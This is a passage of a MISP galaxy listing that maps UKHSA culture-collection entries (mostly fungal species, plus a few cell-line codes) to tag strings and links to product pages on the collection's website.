https://www.culturecollections.org.uk/nop/product/phaeoacremonium-parasiticum-10

https://www.culturecollections.org.uk/nop/product/phaeoacremonium-parasiticum-9
https://www.culturecollections.org.uk/nop/product/phaeoacremonium-parasiticum-8
https://www.culturecollections.org.uk/nop/product/phaeoacremonium-parasiticum-7
https://www.culturecollections.org.uk/nop/product/phaeoacremonium-parasiticum-6
https://www.culturecollections.org.uk/nop/product/phaeoacremonium-parasiticum-5
https://www.culturecollections.org.uk/nop/product/phaeoacremonium-parasiticum-3
https://www.culturecollections.org.uk/nop/product/phaeoacremonium-parasiticum

Madurella mycetomatis

The tag is: *misp-galaxy:ukhsa-culture-collections="Madurella mycetomatis"*

Table 27511. Table References

Links
https://www.culturecollections.org.uk/nop/product/madurella-mycetomatis-19
https://www.culturecollections.org.uk/nop/product/madurella-mycetomatis-15
https://www.culturecollections.org.uk/nop/product/madurella-mycetomatis-13
https://www.culturecollections.org.uk/nop/product/madurella-mycetomatis-12
https://www.culturecollections.org.uk/nop/product/madurella-mycetomatis-8
https://www.culturecollections.org.uk/nop/product/madurella-mycetomatis-5
https://www.culturecollections.org.uk/nop/product/madurella-mycetomatis-4
https://www.culturecollections.org.uk/nop/product/madurella-mycetomatis-2

Phialophora cyclaminis

The tag is: *misp-galaxy:ukhsa-culture-collections="Phialophora cyclaminis"*

Table 27512. Table References

Links
https://www.culturecollections.org.uk/nop/product/phialophora-cyclaminis

Metarhizium marquandii

The tag is: *misp-galaxy:ukhsa-culture-collections="Metarhizium marquandii"*

Table 27513. Table References

Links
https://www.culturecollections.org.uk/nop/product/metarhizium-marquandii

Aureobasidium pullulans

The tag is: *misp-galaxy:ukhsa-culture-collections="Aureobasidium pullulans"*

Table 27514. Table References

Links
https://www.culturecollections.org.uk/nop/product/aureobasidium-pullulans-4
https://www.culturecollections.org.uk/nop/product/aureobasidium-pullulans-3
https://www.culturecollections.org.uk/nop/product/aureobasidium-pullulans-2
https://www.culturecollections.org.uk/nop/product/aureobasidium-pullulans

Monascus purpureus

The tag is: *misp-galaxy:ukhsa-culture-collections="Monascus purpureus"*

Table 27515. Table References

Links
https://www.culturecollections.org.uk/nop/product/monascus-purpureus

Ochroconis tshawytschae

The tag is: *misp-galaxy:ukhsa-culture-collections="Ochroconis tshawytschae"*

Table 27516. Table References

Links
https://www.culturecollections.org.uk/nop/product/ochroconis-tshawytschae

Pithoascus ater

The tag is: *misp-galaxy:ukhsa-culture-collections="Pithoascus ater"*

Table 27517. Table References

Links
https://www.culturecollections.org.uk/nop/product/pithoascus-ater

Scopulariopsis asperula

The tag is: *misp-galaxy:ukhsa-culture-collections="Scopulariopsis asperula"*

Table 27518. Table References

Links

https://www.culturecollections.org.uk/nop/product/scopulariopsis-asperula-2
https://www.culturecollections.org.uk/nop/product/scopulariopsis-asperula

Gamsia simplex

The tag is: *misp-galaxy:ukhsa-culture-collections="Gamsia simplex"*

Table 27519. Table References

Links
https://www.culturecollections.org.uk/nop/product/gamsia-simplex

Wardomyces pulvinatus

The tag is: *misp-galaxy:ukhsa-culture-collections="Wardomyces pulvinatus"*

Table 27520. Table References

Links
https://www.culturecollections.org.uk/nop/product/wardomyces-pulvinatus

Wardomyces inflatus

The tag is: *misp-galaxy:ukhsa-culture-collections="Wardomyces inflatus"*

Table 27521. Table References

Links
https://www.culturecollections.org.uk/nop/product/wardomyces-inflatus

Wardomyces humicola

The tag is: *misp-galaxy:ukhsa-culture-collections="Wardomyces humicola"*

Table 27522. Table References

Links
https://www.culturecollections.org.uk/nop/product/wardomyces-humicola-2
https://www.culturecollections.org.uk/nop/product/wardomyces-humicola

Wallemia sebi

The tag is: *misp-galaxy:ukhsa-culture-collections="Wallemia sebi"*

Table 27523. Table References

Links

https://www.culturecollections.org.uk/nop/product/wallemia-sebi-3
https://www.culturecollections.org.uk/nop/product/wallemia-sebi-2
https://www.culturecollections.org.uk/nop/product/wallemia-sebi

Aspergillus ochraceus

The tag is: *misp-galaxy:ukhsa-culture-collections="Aspergillus ochraceus"*

Table 27524. Table References

Links
https://www.culturecollections.org.uk/nop/product/aspergillus-ochraceus-2
https://www.culturecollections.org.uk/nop/product/aspergillus-ochraceus

Quambalaria cyanescens

The tag is: *misp-galaxy:ukhsa-culture-collections="Quambalaria cyanescens"*

Table 27525. Table References

Links
https://www.culturecollections.org.uk/nop/product/quambalaria-cyanescens-3
https://www.culturecollections.org.uk/nop/product/quambalaria-cyanescens-2
https://www.culturecollections.org.uk/nop/product/quambalaria-cyanescens

Cephalotrichum nanum

The tag is: *misp-galaxy:ukhsa-culture-collections="Cephalotrichum nanum"*

Table 27526. Table References

Links
https://www.culturecollections.org.uk/nop/product/cephalotrichum-nanum

Cephalotrichum microsporum

The tag is: *misp-galaxy:ukhsa-culture-collections="Cephalotrichum microsporum"*

Table 27527. Table References

Links
https://www.culturecollections.org.uk/nop/product/cephalotrichum-microsporum

Cephalotrichum stemonitis

The tag is: *misp-galaxy:ukhsa-culture-collections="Cephalotrichum stemonitis"*

Table 27528. Table References

Links
https://www.culturecollections.org.uk/nop/product/cephalotrichum-stemonitis-2
https://www.culturecollections.org.uk/nop/product/cephalotrichum-stemonitis

Penicillium purpurogenum

The tag is: *misp-galaxy:ukhsa-culture-collections="Penicillium purpurogenum"*

Table 27529. Table References

Links
https://www.culturecollections.org.uk/nop/product/penicillium-purpurogenum

Mycoleptodiscus indicus

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycoleptodiscus indicus"*

Table 27530. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycoleptodiscus-indicus

Cylindrocarpon lichenicola

The tag is: *misp-galaxy:ukhsa-culture-collections="Cylindrocarpon lichenicola"*

Table 27531. Table References

Links
https://www.culturecollections.org.uk/nop/product/cylindrocarpon-lichenicola-7
https://www.culturecollections.org.uk/nop/product/cylindrocarpon-lichenicola-6
https://www.culturecollections.org.uk/nop/product/cylindrocarpon-lichenicola-5
https://www.culturecollections.org.uk/nop/product/cylindrocarpon-lichenicola-3
https://www.culturecollections.org.uk/nop/product/cylindrocarpon-lichenicola-2

Stenella araguata

The tag is: *misp-galaxy:ukhsa-culture-collections="Stenella araguata"*

Table 27532. Table References

Links
https://www.culturecollections.org.uk/nop/product/stenella-araguata-2
https://www.culturecollections.org.uk/nop/product/stenella-araguata

Scopulariopsis candida

The tag is: *misp-galaxy:ukhsa-culture-collections="Scopulariopsis candida"*

Table 27533. Table References

Links
https://www.culturecollections.org.uk/nop/product/scopulariopsis-candida-3
https://www.culturecollections.org.uk/nop/product/scopulariopsis-candida-2
https://www.culturecollections.org.uk/nop/product/scopulariopsis-candida

Wardomyces ovalis

The tag is: *misp-galaxy:ukhsa-culture-collections="Wardomyces ovalis"*

Table 27534. Table References

Links
https://www.culturecollections.org.uk/nop/product/wardomyces-ovalis

Scopulariopsis acremonium

The tag is: *misp-galaxy:ukhsa-culture-collections="Scopulariopsis acremonium"*

Table 27535. Table References

Links
https://www.culturecollections.org.uk/nop/product/scopulariopsis-acremonium

Pseudoscopulariopsis schumacheri

The tag is: *misp-galaxy:ukhsa-culture-collections="Pseudoscopulariopsis schumacheri"*

Table 27536. Table References

Links
https://www.culturecollections.org.uk/nop/product/pseudoscopulariopsis-schumacheri

Pithoascus nidicola

The tag is: *misp-galaxy:ukhsa-culture-collections="Pithoascus nidicola"*

Table 27537. Table References

Links
https://www.culturecollections.org.uk/nop/product/pithoascus-nidicola-2
https://www.culturecollections.org.uk/nop/product/pithoascus-nidicola

Microascus singularis

The tag is: *misp-galaxy:ukhsa-culture-collections="Microascus singularis"*

Table 27538. Table References

Links
https://www.culturecollections.org.uk/nop/product/microascus-singularis

Microascus senegalensis

The tag is: *misp-galaxy:ukhsa-culture-collections="Microascus senegalensis"*

Table 27539. Table References

Links
https://www.culturecollections.org.uk/nop/product/microascus-senegalensis

Alternaria brassicicola

The tag is: *misp-galaxy:ukhsa-culture-collections="Alternaria brassicicola"*

Table 27540. Table References

Links
https://www.culturecollections.org.uk/nop/product/alternaria-brassicicola

Wardomyces anomalus

The tag is: *misp-galaxy:ukhsa-culture-collections="Wardomyces anomalus"*

Table 27541. Table References

Links
https://www.culturecollections.org.uk/nop/product/wardomyces-anomalus

Trichurus spiralis

The tag is: *misp-galaxy:ukhsa-culture-collections="Trichurus spiralis"*

Table 27542. Table References

Links
https://www.culturecollections.org.uk/nop/product/trichurus-spiralis

Scopulariopsis parva

The tag is: *misp-galaxy:ukhsa-culture-collections="Scopulariopsis parva"*

Table 27543. Table References

Links
https://www.culturecollections.org.uk/nop/product/scopulariopsis-parva-2
https://www.culturecollections.org.uk/nop/product/scopulariopsis-parva

Scopulariopsis koningii

The tag is: *misp-galaxy:ukhsa-culture-collections="Scopulariopsis koningii"*

Table 27544. Table References

Links
https://www.culturecollections.org.uk/nop/product/scopulariopsis-koningii

Scopulariopsis fusca

The tag is: *misp-galaxy:ukhsa-culture-collections="Scopulariopsis fusca"*

Table 27545. Table References

Links
https://www.culturecollections.org.uk/nop/product/scopulariopsis-fusca

Scopulariopsis flava

The tag is: *misp-galaxy:ukhsa-culture-collections="Scopulariopsis flava"*

Table 27546. Table References

Links
https://www.culturecollections.org.uk/nop/product/scopulariopsis-flava

Microascus longirostris

The tag is: *misp-galaxy:ukhsa-culture-collections="Microascus longirostris"*

Table 27547. Table References

Links

https://www.culturecollections.org.uk/nop/product/microascus-longirostris-2
https://www.culturecollections.org.uk/nop/product/microascus-longirostris

Microascus giganteus

The tag is: *misp-galaxy:ukhsa-culture-collections="Microascus giganteus"*

Table 27548. Table References

Links
https://www.culturecollections.org.uk/nop/product/microascus-giganteus

Microascus cirrosus

The tag is: *misp-galaxy:ukhsa-culture-collections="Microascus cirrosus"*

Table 27549. Table References

Links
https://www.culturecollections.org.uk/nop/product/microascus-cirrosus-2
https://www.culturecollections.org.uk/nop/product/microascus-cirrosus

Microascus cinereus

The tag is: *misp-galaxy:ukhsa-culture-collections="Microascus cinereus"*

Table 27550. Table References

Links
https://www.culturecollections.org.uk/nop/product/microascus-cinereus

Microascus albonigrescens

The tag is: *misp-galaxy:ukhsa-culture-collections="Microascus albonigrescens"*

Table 27551. Table References

Links
https://www.culturecollections.org.uk/nop/product/microascus-albonigrescens

Kernia hyalina

The tag is: *misp-galaxy:ukhsa-culture-collections="Kernia hyalina"*

Table 27552. Table References

Links

https://www.culturecollections.org.uk/nop/product/kernia-hyalina

Kernia nitida

The tag is: *misp-galaxy:ukhsa-culture-collections="Kernia nitida"*

Table 27553. Table References

Links
https://www.culturecollections.org.uk/nop/product/kernia-nitida-3
https://www.culturecollections.org.uk/nop/product/kernia-nitida-2
https://www.culturecollections.org.uk/nop/product/kernia-nitida

Penicillium chrysogenum

The tag is: *misp-galaxy:ukhsa-culture-collections="Penicillium chrysogenum"*

Table 27554. Table References

Links
https://www.culturecollections.org.uk/nop/product/penicillium-chrysogenum-4
https://www.culturecollections.org.uk/nop/product/penicillium-chrysogenum-3
https://www.culturecollections.org.uk/nop/product/penicillium-chrysogenum-2
https://www.culturecollections.org.uk/nop/product/penicillium-chrysogenum

Petriella setifera

The tag is: *misp-galaxy:ukhsa-culture-collections="Petriella setifera"*

Table 27555. Table References

Links
https://www.culturecollections.org.uk/nop/product/petriella-setifera-4
https://www.culturecollections.org.uk/nop/product/petriella-setifera-3
https://www.culturecollections.org.uk/nop/product/petriella-setifera-2
https://www.culturecollections.org.uk/nop/product/petriella-setifera

Mucor ramosissimus

The tag is: *misp-galaxy:ukhsa-culture-collections="Mucor ramosissimus"*

Table 27556. Table References

Links

https://www.culturecollections.org.uk/nop/product/mucor-ramosissimus-2
https://www.culturecollections.org.uk/nop/product/mucor-ramosissimus

Petriella musispora

The tag is: *misp-galaxy:ukhsa-culture-collections="Petriella musispora"*

Table 27557. Table References

Links
https://www.culturecollections.org.uk/nop/product/petriella-musispora

Rhizopus arrhizus

The tag is: *misp-galaxy:ukhsa-culture-collections="Rhizopus arrhizus"*

Table 27558. Table References

Links
https://www.culturecollections.org.uk/nop/product/rhizopus-arrhizus-10
https://www.culturecollections.org.uk/nop/product/rhizopus-arrhizus-5
https://www.culturecollections.org.uk/nop/product/rhizopus-arrhizus-4
https://www.culturecollections.org.uk/nop/product/rhizopus-arrhizus-3
https://www.culturecollections.org.uk/nop/product/rhizopus-arrhizus

Colletotrichum dematium

The tag is: *misp-galaxy:ukhsa-culture-collections="Colletotrichum dematium"*

Table 27559. Table References

Links
https://www.culturecollections.org.uk/nop/product/colletotrichum-dematium

Sclerocleista ornata

The tag is: *misp-galaxy:ukhsa-culture-collections="Sclerocleista ornata"*

Table 27560. Table References

Links
https://www.culturecollections.org.uk/nop/product/sclerocleista-ornata

Petriella guttulata

The tag is: *misp-galaxy:ukhsa-culture-collections="Petriella guttulata"*

Table 27561. Table References

Links
https://www.culturecollections.org.uk/nop/product/petriella-guttulata

Petriella sordida

The tag is: *misp-galaxy:ukhsa-culture-collections="Petriella sordida"*

Table 27562. Table References

Links
https://www.culturecollections.org.uk/nop/product/petriella-sordida

Pseudallescheria fusoidea

The tag is: *misp-galaxy:ukhsa-culture-collections="Pseudallescheria fusoidea"*

Table 27563. Table References

Links
https://www.culturecollections.org.uk/nop/product/pseudallescheria-fusoidea

Pseudallescheria fimeti

The tag is: *misp-galaxy:ukhsa-culture-collections="Pseudallescheria fimeti"*

Table 27564. Table References

Links
https://www.culturecollections.org.uk/nop/product/pseudallescheria-fimeti

Scedosporium desertorum

The tag is: *misp-galaxy:ukhsa-culture-collections="Scedosporium desertorum"*

Table 27565. Table References

Links
https://www.culturecollections.org.uk/nop/product/scedosporium-desertorum

Pseudallescheria angusta

The tag is: *misp-galaxy:ukhsa-culture-collections="Pseudallescheria angusta"*

Table 27566. Table References

Links
https://www.culturecollections.org.uk/nop/product/pseudallescheria-angusta

Pseudallescheria africana

The tag is: *misp-galaxy:ukhsa-culture-collections="Pseudallescheria africana"*

Table 27567. Table References

Links
https://www.culturecollections.org.uk/nop/product/pseudallescheria-africana

Colletotrichum gloeosporioides

The tag is: *misp-galaxy:ukhsa-culture-collections="Colletotrichum gloeosporioides"*

Table 27568. Table References

Links
https://www.culturecollections.org.uk/nop/product/colletotrichum-gloeosporioides

Apophysomyces elegans

The tag is: *misp-galaxy:ukhsa-culture-collections="Apophysomyces elegans"*

Table 27569. Table References

Links
https://www.culturecollections.org.uk/nop/product/apophysomyces-elegans-2
https://www.culturecollections.org.uk/nop/product/apophysomyces-elegans

Scopulariopsis halophilica

The tag is: *misp-galaxy:ukhsa-culture-collections="Scopulariopsis halophilica"*

Table 27570. Table References

Links
https://www.culturecollections.org.uk/nop/product/scopulariopsis-halophilica

Microascus gracilis

The tag is: *misp-galaxy:ukhsa-culture-collections="Microascus gracilis"*

Table 27571. Table References

Links
https://www.culturecollections.org.uk/nop/product/microascus-gracilis

Microascus croci

The tag is: *misp-galaxy:ukhsa-culture-collections="Microascus croci"*

Table 27572. Table References

Links
https://www.culturecollections.org.uk/nop/product/microascus-croci

Scopulariopsis coprophila

The tag is: *misp-galaxy:ukhsa-culture-collections="Scopulariopsis coprophila"*

Table 27573. Table References

Links
https://www.culturecollections.org.uk/nop/product/scopulariopsis-coprophila

Microascus chartarum

The tag is: *misp-galaxy:ukhsa-culture-collections="Microascus chartarum"*

Table 27574. Table References

Links
https://www.culturecollections.org.uk/nop/product/microascus-chartarum

Fuscoannellis carbonaria

The tag is: *misp-galaxy:ukhsa-culture-collections="Fuscoannellis carbonaria"*

Table 27575. Table References

Links
https://www.culturecollections.org.uk/nop/product/fuscoannellis-carbonaria

Scopulariopsis canadensis

The tag is: *misp-galaxy:ukhsa-culture-collections="Scopulariopsis canadensis"*

Table 27576. Table References

Links
https://www.culturecollections.org.uk/nop/product/scopulariopsis-canadensis

Scopulariopsis sphaerospora

The tag is: *misp-galaxy:ukhsa-culture-collections="Scopulariopsis sphaerospora"*

Table 27577. Table References

Links
https://www.culturecollections.org.uk/nop/product/scopulariopsis-sphaerospora

Microascus murinus

The tag is: *misp-galaxy:ukhsa-culture-collections="Microascus murinus"*

Table 27578. Table References

Links
https://www.culturecollections.org.uk/nop/product/microascus-murinus

Wardomycopsis humicola

The tag is: *misp-galaxy:ukhsa-culture-collections="Wardomycopsis humicola"*

Table 27579. Table References

Links
https://www.culturecollections.org.uk/nop/product/wardomycopsis-humicola

Pseudoscopulariopsis hibernica

The tag is: *misp-galaxy:ukhsa-culture-collections="Pseudoscopulariopsis hibernica"*

Table 27580. Table References

Links
https://www.culturecollections.org.uk/nop/product/pseudoscopulariopsis-hibernica

Microascus doguetii

The tag is: *misp-galaxy:ukhsa-culture-collections="Microascus doguetii"*

Table 27581. Table References

Links
https://www.culturecollections.org.uk/nop/product/microascus-doguetii

Microascus pyramidus

The tag is: *misp-galaxy:ukhsa-culture-collections="Microascus pyramidus"*

Table 27582. Table References

Links
https://www.culturecollections.org.uk/nop/product/microascus-pyramidus

Microascus griseus

The tag is: *misp-galaxy:ukhsa-culture-collections="Microascus griseus"*

Table 27583. Table References

Links
https://www.culturecollections.org.uk/nop/product/microascus-griseus

Pithoascus exsertus

The tag is: *misp-galaxy:ukhsa-culture-collections="Pithoascus exsertus"*

Table 27584. Table References

Links
https://www.culturecollections.org.uk/nop/product/pithoascus-exsertus

Microascus caviariformis

The tag is: *misp-galaxy:ukhsa-culture-collections="Microascus caviariformis"*

Table 27585. Table References

Links
https://www.culturecollections.org.uk/nop/product/microascus-caviariformis

Cephalotrichum purpureofuscum

The tag is: *misp-galaxy:ukhsa-culture-collections="Cephalotrichum purpureofuscum"*

Table 27586. Table References

Links
https://www.culturecollections.org.uk/nop/product/cephalotrichum-purpureofuscum

Aspergillus sydowii

The tag is: *misp-galaxy:ukhsa-culture-collections="Aspergillus sydowii"*

Table 27587. Table References

Links
https://www.culturecollections.org.uk/nop/product/aspergillus-sydowii

Aspergillus amstelodami

The tag is: *misp-galaxy:ukhsa-culture-collections="Aspergillus amstelodami"*

Table 27588. Table References

Links
https://www.culturecollections.org.uk/nop/product/aspergillus-amstelodami

Rhinocladiella atrovirens

The tag is: *misp-galaxy:ukhsa-culture-collections="Rhinocladiella atrovirens"*

Table 27589. Table References

Links
https://www.culturecollections.org.uk/nop/product/rhinocladiella-atrovirens-3
https://www.culturecollections.org.uk/nop/product/rhinocladiella-atrovirens-2
https://www.culturecollections.org.uk/nop/product/rhinocladiella-atrovirens

Botrytis cinerea

The tag is: *misp-galaxy:ukhsa-culture-collections="Botrytis cinerea"*

Table 27590. Table References

Links
https://www.culturecollections.org.uk/nop/product/botrytis-cinerea

Penicillium brevicompactum

The tag is: *misp-galaxy:ukhsa-culture-collections="Penicillium brevicompactum"*

Table 27591. Table References

Links
https://www.culturecollections.org.uk/nop/product/penicillium-brevicompactum

Penicillium aurantiogriseum

The tag is: *misp-galaxy:ukhsa-culture-collections="Penicillium aurantiogriseum"*

Table 27592. Table References

Links
https://www.culturecollections.org.uk/nop/product/penicillium-aurantiogriseum-2
https://www.culturecollections.org.uk/nop/product/penicillium-aurantiogriseum

Trichoderma harzianum

The tag is: *misp-galaxy:ukhsa-culture-collections="Trichoderma harzianum"*

Table 27593. Table References

Links
https://www.culturecollections.org.uk/nop/product/trichoderma-harzianum-2
https://www.culturecollections.org.uk/nop/product/trichoderma-harzianum

Penicillium solitum

The tag is: *misp-galaxy:ukhsa-culture-collections="Penicillium solitum"*

Table 27594. Table References

Links
https://www.culturecollections.org.uk/nop/product/penicillium-solitum

Paecilomyces fulvus

The tag is: *misp-galaxy:ukhsa-culture-collections="Paecilomyces fulvus"*

Table 27595. Table References

Links
https://www.culturecollections.org.uk/nop/product/paecilomyces-fulvus

Ceratocystis fimbriata

The tag is: *misp-galaxy:ukhsa-culture-collections="Ceratocystis fimbriata"*

Table 27596. Table References

Links
https://www.culturecollections.org.uk/nop/product/ceratocystis-fimbriata

Graphium penicillioides

The tag is: *misp-galaxy:ukhsa-culture-collections="Graphium penicillioides"*

Table 27597. Table References

Links
https://www.culturecollections.org.uk/nop/product/graphium-penicillioides

Parascedosporium tectonae

The tag is: *misp-galaxy:ukhsa-culture-collections="Parascedosporium tectonae"*

Table 27598. Table References

Links
https://www.culturecollections.org.uk/nop/product/parascedosporium-tectonae

Rhizomucor pusillus

The tag is: *misp-galaxy:ukhsa-culture-collections="Rhizomucor pusillus"*

Table 27599. Table References

Links
https://www.culturecollections.org.uk/nop/product/rhizomucor-pusillus-7
https://www.culturecollections.org.uk/nop/product/rhizomucor-pusillus-5
https://www.culturecollections.org.uk/nop/product/rhizomucor-pusillus-4
https://www.culturecollections.org.uk/nop/product/rhizomucor-pusillus-2
https://www.culturecollections.org.uk/nop/product/rhizomucor-pusillus

Pythium insidiosum

The tag is: *misp-galaxy:ukhsa-culture-collections="Pythium insidiosum"*

Table 27600. Table References

Links
https://www.culturecollections.org.uk/nop/product/pythium-insidiosum

Magnusiomyces ingens

The tag is: *misp-galaxy:ukhsa-culture-collections="Magnusiomyces ingens"*

Table 27601. Table References

Links
https://www.culturecollections.org.uk/nop/product/magnusiomyces-ingens

Cladophialophora carrionii

The tag is: *misp-galaxy:ukhsa-culture-collections="Cladophialophora carrionii"*

Table 27602. Table References

Links
https://www.culturecollections.org.uk/nop/product/cladophialophora-carrionii-7
https://www.culturecollections.org.uk/nop/product/cladophialophora-carrionii-6
https://www.culturecollections.org.uk/nop/product/cladophialophora-carrionii-5
https://www.culturecollections.org.uk/nop/product/cladophialophora-carrionii-4
https://www.culturecollections.org.uk/nop/product/cladophialophora-carrionii

Falciformispora senegalensis

The tag is: *misp-galaxy:ukhsa-culture-collections="Falciformispora senegalensis"*

Table 27603. Table References

Links
https://www.culturecollections.org.uk/nop/product/falciformispora-senegalensis-2
https://www.culturecollections.org.uk/nop/product/falciformispora-senegalensis

Phialophora verrucosa

The tag is: *misp-galaxy:ukhsa-culture-collections="Phialophora verrucosa"*

Table 27604. Table References

Links
https://www.culturecollections.org.uk/nop/product/phialophora-verrucosa-15
https://www.culturecollections.org.uk/nop/product/phialophora-verrucosa-14

https://www.culturecollections.org.uk/nop/product/phialophora-verrucosa-13
https://www.culturecollections.org.uk/nop/product/phialophora-verrucosa-12
https://www.culturecollections.org.uk/nop/product/phialophora-verrucosa-9
https://www.culturecollections.org.uk/nop/product/phialophora-verrucosa-8
https://www.culturecollections.org.uk/nop/product/phialophora-verrucosa-7
https://www.culturecollections.org.uk/nop/product/phialophora-verrucosa-6
https://www.culturecollections.org.uk/nop/product/phialophora-verrucosa-3
https://www.culturecollections.org.uk/nop/product/phialophora-verrucosa-2

Fusarium solani Species Complex

The tag is: *misp-galaxy:ukhsa-culture-collections="Fusarium solani Species Complex"*

Table 27605. Table References

Links
https://www.culturecollections.org.uk/nop/product/fusarium-solani-species-complex-10
https://www.culturecollections.org.uk/nop/product/fusarium-solani-species-complex-8
https://www.culturecollections.org.uk/nop/product/fusarium-solani-species-complex-5

Thermomyces lanuginosus

The tag is: *misp-galaxy:ukhsa-culture-collections="Thermomyces lanuginosus"*

Table 27606. Table References

Links
https://www.culturecollections.org.uk/nop/product/thermomyces-lanuginosus

Hyphozyma variabilis

The tag is: *misp-galaxy:ukhsa-culture-collections="Hyphozyma variabilis"*

Table 27607. Table References

Links
https://www.culturecollections.org.uk/nop/product/hyphozyma-variabilis

Fusarium oxysporum Species Complex

The tag is: *misp-galaxy:ukhsa-culture-collections="Fusarium oxysporum Species Complex"*

Table 27608. Table References

Links
https://www.culturecollections.org.uk/nop/product/fusarium-oxysporum-species-complex-3
https://www.culturecollections.org.uk/nop/product/fusarium-oxysporum-species-complex-2
https://www.culturecollections.org.uk/nop/product/fusarium-oxysporum-species-complex

Aspergillus niger Species Complex

The tag is: *misp-galaxy:ukhsa-culture-collections="Aspergillus niger Species Complex"*

Table 27609. Table References

Links
https://www.culturecollections.org.uk/nop/product/aspergillus-niger-species-complex-5
https://www.culturecollections.org.uk/nop/product/aspergillus-niger-species-complex-4
https://www.culturecollections.org.uk/nop/product/aspergillus-niger-species-complex-3
https://www.culturecollections.org.uk/nop/product/aspergillus-niger-species-complex-2
https://www.culturecollections.org.uk/nop/product/aspergillus-niger-species-complex

Phialemonium obovatum

The tag is: *misp-galaxy:ukhsa-culture-collections="Phialemonium obovatum"*

Table 27610. Table References

Links
https://www.culturecollections.org.uk/nop/product/phialemonium-obovatum

Exserohilum mcginnisii

The tag is: *misp-galaxy:ukhsa-culture-collections="Exserohilum mcginnisii"*

Table 27611. Table References

Links
https://www.culturecollections.org.uk/nop/product/exserohilum-mcginnisii

Madurella fahalii

The tag is: *misp-galaxy:ukhsa-culture-collections="Madurella fahalii"*

Table 27612. Table References

Links
https://www.culturecollections.org.uk/nop/product/madurella-fahalii-2

Aspergillus alliaceus

The tag is: *misp-galaxy:ukhsa-culture-collections="Aspergillus alliaceus"*

Table 27613. Table References

Links
https://www.culturecollections.org.uk/nop/product/aspergillus-alliaceus-2
https://www.culturecollections.org.uk/nop/product/aspergillus-alliaceus

Penicillium restrictum

The tag is: *misp-galaxy:ukhsa-culture-collections="Penicillium restrictum"*

Table 27614. Table References

Links
https://www.culturecollections.org.uk/nop/product/penicillium-restrictum

Phoma herbarum

The tag is: *misp-galaxy:ukhsa-culture-collections="Phoma herbarum"*

Table 27615. Table References

Links
https://www.culturecollections.org.uk/nop/product/phoma-herbarum

Aspergillus clavatus

The tag is: *misp-galaxy:ukhsa-culture-collections="Aspergillus clavatus"*

Table 27616. Table References

Links
https://www.culturecollections.org.uk/nop/product/aspergillus-clavatus-2
https://www.culturecollections.org.uk/nop/product/aspergillus-clavatus

Cyphellophora fusarioides

The tag is: *misp-galaxy:ukhsa-culture-collections="Cyphellophora fusarioides"*

Table 27617. Table References

Links
https://www.culturecollections.org.uk/nop/product/cyphellophora-fusarioides

Exophiala oligosperma

The tag is: *misp-galaxy:ukhsa-culture-collections="Exophiala oligosperma"*

Table 27618. Table References

Links
https://www.culturecollections.org.uk/nop/product/exophiala-oligosperma-9
https://www.culturecollections.org.uk/nop/product/exophiala-oligosperma-8
https://www.culturecollections.org.uk/nop/product/exophiala-oligosperma-2
https://www.culturecollections.org.uk/nop/product/exophiala-oligosperma

Talaromyces piceae

The tag is: *misp-galaxy:ukhsa-culture-collections="Talaromyces piceae"*

Table 27619. Table References

Links
https://www.culturecollections.org.uk/nop/product/talaromyces-piceae

Pleosporales New species

The tag is: *misp-galaxy:ukhsa-culture-collections="Pleosporales New species"*

Table 27620. Table References

Links
https://www.culturecollections.org.uk/nop/product/pleosporales-new-species

Colletotrichum capsici

The tag is: *misp-galaxy:ukhsa-culture-collections="Colletotrichum capsici"*

Table 27621. Table References

Links
https://www.culturecollections.org.uk/nop/product/colletotrichum-capsici

Exophiala campbellii

The tag is: *misp-galaxy:ukhsa-culture-collections="Exophiala campbellii"*

Table 27622. Table References

Links

https://www.culturecollections.org.uk/nop/product/exophiala-campbellii-2

Libertella sp.

The tag is: *misp-galaxy:ukhsa-culture-collections="Libertella sp."*

Table 27623. Table References

Links
https://www.culturecollections.org.uk/nop/product/libertella-sp

Cladosporium herbarum Species Complex

The tag is: *misp-galaxy:ukhsa-culture-collections="Cladosporium herbarum Species Complex"*

Table 27624. Table References

Links
https://www.culturecollections.org.uk/nop/product/cladosporium-herbarum-species-complex

Exophiala xenobiotica

The tag is: *misp-galaxy:ukhsa-culture-collections="Exophiala xenobiotica"*

Table 27625. Table References

Links
https://www.culturecollections.org.uk/nop/product/exophiala-xenobiotica-5

Exophiala spinifera

The tag is: *misp-galaxy:ukhsa-culture-collections="Exophiala spinifera"*

Table 27626. Table References

Links
https://www.culturecollections.org.uk/nop/product/exophiala-spinifera-2
https://www.culturecollections.org.uk/nop/product/exophiala-spinifera

Exophiala jeanselmei

The tag is: *misp-galaxy:ukhsa-culture-collections="Exophiala jeanselmei"*

Table 27627. Table References

Links
https://www.culturecollections.org.uk/nop/product/exophiala-jeanselmei-5

Exophiala cancerae

The tag is: *misp-galaxy:ukhsa-culture-collections="Exophiala cancerae"*

Table 27628. Table References

Links
https://www.culturecollections.org.uk/nop/product/exophiala-cancerae

Exophiala equina

The tag is: *misp-galaxy:ukhsa-culture-collections="Exophiala equina"*

Table 27629. Table References

Links
https://www.culturecollections.org.uk/nop/product/exophiala-equina

Aspergillus parasiticus

The tag is: *misp-galaxy:ukhsa-culture-collections="Aspergillus parasiticus"*

Table 27630. Table References

Links
https://www.culturecollections.org.uk/nop/product/aspergillus-parasiticus

Microsporum ferrugineum

The tag is: *misp-galaxy:ukhsa-culture-collections="Microsporum ferrugineum"*

Table 27631. Table References

Links
https://www.culturecollections.org.uk/nop/product/microsporum-ferrugineum

MOCHA

The tag is: *misp-galaxy:ukhsa-culture-collections="MOCHA"*

Table 27632. Table References

Links
https://www.culturecollections.org.uk/nop/product/mocha

C1300 CLONE NA

The tag is: *misp-galaxy:ukhsa-culture-collections="C1300 CLONE NA"*

Table 27633. Table References

Links
https://www.culturecollections.org.uk/nop/product/c1300-clone-na

SP3643

The tag is: *misp-galaxy:ukhsa-culture-collections="SP3643"*

Table 27634. Table References

Links
https://www.culturecollections.org.uk/nop/product/sp3643-2

SP3670

The tag is: *misp-galaxy:ukhsa-culture-collections="SP3670"*

Table 27635. Table References

Links
https://www.culturecollections.org.uk/nop/product/sp3670-2

SC3709

The tag is: *misp-galaxy:ukhsa-culture-collections="SC3709"*

Table 27636. Table References

Links
https://www.culturecollections.org.uk/nop/product/sc3709-2

BC6325

The tag is: *misp-galaxy:ukhsa-culture-collections="BC6325"*

Table 27637. Table References

Links
https://www.culturecollections.org.uk/nop/product/bc6325-2

BP6531

The tag is: *misp-galaxy:ukhsa-culture-collections="BP6531"*

Table 27638. Table References

Links
